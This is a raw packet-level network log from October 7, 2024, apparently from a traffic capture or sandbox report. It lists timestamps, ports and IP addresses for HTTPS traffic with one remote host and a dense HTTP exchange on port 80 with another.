Oct 7, 2024 21:18:43.218002081 CEST	49880	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:43.218012094 CEST	443	49880	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:43.224615097 CEST	443	49879	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:43.224668026 CEST	443	49879	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:43.224719048 CEST	443	49879	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:43.224720955 CEST	49879	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:43.224760056 CEST	49879	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:43.231657028 CEST	49883	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:43.231673002 CEST	443	49883	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:43.234095097 CEST	49879	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:43.234108925 CEST	443	49879	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:43.234121084 CEST	49879	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:43.234127045 CEST	443	49879	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:43.236443996 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:43.241314888 CEST	49884	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:43.241355896 CEST	443	49884	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:43.241422892 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.241646051 CEST	49884	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:43.247675896 CEST	49885	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:43.247714996 CEST	443	49885	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:43.247773886 CEST	49885	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:43.248384953 CEST	49884	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:43.248414040 CEST	443	49884	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:43.248639107 CEST	49885	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:43.248651981 CEST	443	49885	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:43.278768063 CEST	443	49881	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:43.279818058 CEST	443	49881	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:43.279887915 CEST	49881	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:43.279995918 CEST	49881	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:43.280018091 CEST	443	49881	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:43.280026913 CEST	49881	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:43.280031919 CEST	443	49881	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:43.283528090 CEST	49886	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:43.283544064 CEST	443	49886	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:43.283603907 CEST	49886	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:43.283981085 CEST	49886	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:43.283991098 CEST	443	49886	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:43.428853035 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.428894997 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.428966045 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:43.428966045 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:43.429625034 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.429680109 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.429694891 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.429744005 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:43.429826021 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.429841995 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.429857016 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.429930925 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:43.429996014 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.430027962 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.430043936 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.430058002 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.430072069 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.430088043 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.430089951 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:43.430105925 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:43.430131912 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:43.430397987 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.430412054 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.430419922 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.430433035 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.430447102 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.430469036 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.430475950 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:43.430485964 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.430500031 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:43.430502892 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.430521011 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.430530071 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:43.430535078 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.430550098 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.430557013 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:43.430565119 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.430576086 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:43.430602074 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:43.430603027 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.430859089 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:43.431078911 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.431092978 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.431108952 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.431123972 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.431126118 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:43.431138992 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.431155920 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.431159973 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:43.431159973 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:43.431173086 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:43.431189060 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.431205034 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.431212902 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:43.431212902 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:43.431226969 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:43.431457996 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:43.431515932 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.431530952 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.431545973 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.431560993 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.431574106 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:43.431576014 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.431592941 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.431600094 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:43.431608915 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.431617022 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:43.431627989 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.431639910 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:43.431644917 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.431655884 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:43.431668997 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:43.431689024 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.431690931 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:43.431721926 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.431730986 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:43.431834936 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:43.433326006 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.433356047 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.433372021 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.433373928 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:43.433402061 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:43.433413029 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:43.433510065 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.433526039 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.433540106 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.433549881 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:43.433557987 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.433572054 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:43.433583021 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:43.433598995 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:43.434192896 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.434207916 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.434222937 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.434237003 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.434253931 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.434264898 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:43.434277058 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:43.434302092 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:43.434995890 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.435010910 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.435025930 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.435040951 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.435055971 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.435059071 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:43.435071945 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.435086966 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.435089111 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:43.435102940 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.435108900 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:43.435118914 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.435122013 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:43.435148001 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:43.435159922 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:43.511785984 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.511805058 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.511869907 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:43.530379057 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:43.535731077 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.720599890 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.720662117 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.720674992 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.720716000 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:43.720765114 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:43.720881939 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.720899105 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.720910072 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.720921040 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.720932007 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.720942974 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.720956087 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:43.720969915 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:43.720985889 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.720998049 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.721000910 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:43.721163988 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.721175909 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.721185923 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.721195936 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.721214056 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:43.721229076 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:43.721937895 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.721987963 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.722006083 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:43.722024918 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.722039938 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:43.722060919 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.722086906 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:43.722094059 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.722126961 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.722148895 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:43.722148895 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:43.722161055 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.722170115 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:43.722194910 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.722228050 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.722239017 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:43.722256899 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.722271919 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:43.722290993 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.722322941 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.722354889 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.722364902 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:43.722398996 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:43.722409964 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.722441912 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.722460032 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:43.722474098 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.722511053 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.722549915 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.722582102 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.722587109 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:43.722587109 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:43.722630978 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:43.722635031 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.722668886 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.722701073 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:43.722702026 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.722708941 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:43.722734928 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.722768068 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.722774982 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:43.722801924 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.722820997 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:43.722835064 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.722872972 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.722878933 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:43.722907066 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.722939968 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.722951889 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:43.722973108 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.723005056 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.723015070 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:43.723038912 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.723071098 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.723081112 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:43.723109007 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.723124981 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:43.723143101 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.723181009 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.723191977 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:43.723218918 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:43.723445892 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.723499060 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.723531961 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.723550081 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:43.723565102 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.723583937 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:43.723598957 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.723608971 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:43.723634005 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.723668098 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.723685026 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:43.723700047 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.723710060 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:43.723733902 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.723764896 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.723786116 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:43.723798037 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.723814964 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:43.723841906 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:43.723851919 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.723890066 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.723922014 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.723954916 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.723969936 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:43.723987103 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.723995924 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:43.724021912 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.724054098 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.724066973 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:43.724100113 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:43.724267006 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.724306107 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.724318027 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.724350929 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.724358082 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:43.724381924 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:43.724383116 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.724415064 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:43.724416018 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.724422932 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:43.724451065 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.724457026 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:43.724484921 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.724498987 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:43.724533081 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:43.724539042 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.724572897 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.724620104 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.724622011 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:43.724622011 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:43.724653006 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.724684954 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.724700928 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:43.724720001 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.724730015 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:43.724752903 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.724767923 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:43.724786997 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.724819899 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.724832058 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:43.724853039 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.724864006 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:43.724898100 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:43.725255966 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.725290060 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.725322962 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.725363970 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.725380898 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:43.725398064 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.725410938 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:43.725433111 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.725435972 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:43.725466967 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.725474119 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:43.725501060 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.725509882 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:43.725534916 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.725568056 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.725599051 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:43.725600004 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.725608110 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:43.725634098 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.725639105 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:43.725667953 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.725702047 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.725717068 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:43.725733995 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.725740910 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:43.725769043 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.725802898 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.725840092 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.725852013 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:43.726131916 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.726165056 CEST	80	49810	95.164.90.97	192.168.2.5
